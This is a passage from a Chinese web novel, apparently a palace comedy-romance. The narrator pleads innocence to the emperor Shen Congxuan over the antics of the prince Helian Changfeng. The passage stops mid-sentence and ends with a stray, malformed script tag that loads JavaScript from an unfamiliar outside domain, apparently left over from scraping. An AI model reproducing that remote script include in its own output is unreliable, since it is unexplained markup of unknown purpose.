一个是匹疯马,一个是一尊菩萨。
都惹不得。
赫连长风在一侧闹腾,沈丛宣丝毫不理会,还佯装着眯着眼细细的品他那壶酒。
我大吼:“喂,皇家东西金贵着呢,赫连长风你把这小榻弄塌了可要自己赔哦,千万不要赖在我身上。”
那家伙听罢,在小榻上晃得更加起劲了,完全不在意他身边坐着的另一个可以以一个“损坏公物”的罪名,直接把他拖出去暗杀了的皇帝。
我思考了一下,三十六计走为上计,赶忙转身,还没抬起我的脚,一个声音响起。
“楚先生这么累了不好好休息,还想等着出去被灌酒么?”沈丛宣眼也没睁,只是侧倚着小榻。
“没……我不是这个意思……”我转过头,看着他。“哪都不去,哪都不去。”
“哦?”他睁开眼睛,狐狸眼亮晶晶,我一个激灵,“那么楚先生要好好解释一下刚才到底是什么意思。”
什么?
让我解释啥?
再说了,这位皇帝陛下生qì了?
我连忙谄媚地笑笑,说:“就是迷了个路,突然进了这间房,我,我就不打扰你和北周二皇子叙叙旧聊聊感情了啊。咱们的事儿稍后再说哈,稍后再说。”
沈丛宣嘴角浮起一个笑容:“不打扰,我们已经聊完了,正等你一起聊呢。”
汗,这个微xiào,感觉好像是生qì的前兆啊……
“等,等我?别,别等了……你们继续吧……国家大事,鸡毛蒜皮,山林草木,猪圈茅房,你们都可以慢慢聊聊。”
另一边已经被遗忘了多时的赫连长风一个鲤鱼打挺翻身起来,把我拉过去,我只得对着门外吼了一句:“明芝给我把门看好!”
赫连长风死死的抓住我的衣角,我怎么挣脱都甩不开他的魔爪,他一笑阳光甩甩我的衣角左右晃荡,朝着沈丛宣炫耀:“小歌儿都说了是我认的妹妹嘛,陛下你怎么能不信我呢,你看看,我对你南魏的赤诚简直可以媲美门外的圆月啊!白的透明无暇!”一边说一边腾出另一只手指着门外。
沈丛宣十分不屑,“你说的赤诚,赤在哪里?被你吃了吗?门外月亮可是白的……”
“啊?哦,不是我,被小歌儿吃了。”
我赶忙挥挥手,表示一下你两现在做的这个是啥,我很懵,并且全然不关我的事啊……
我赶忙举起手,“陛下,我以我楚歌的性命向四国的财神爷和灶王爷发誓!这赫连长风干的我一概不知情,对了,那衣服也是他扒的,他换的,认妹妹也是他自己承认的,我可是什么话都没说!玉佩也是他硬塞给我的!”
我赶忙一扯神经病大爷的衣袖,在他耳旁暗暗道:“小心你死我活,鸡飞蛋打,两个
/script src="https://m.ynfzff.com/17mb/scripts/test1.js">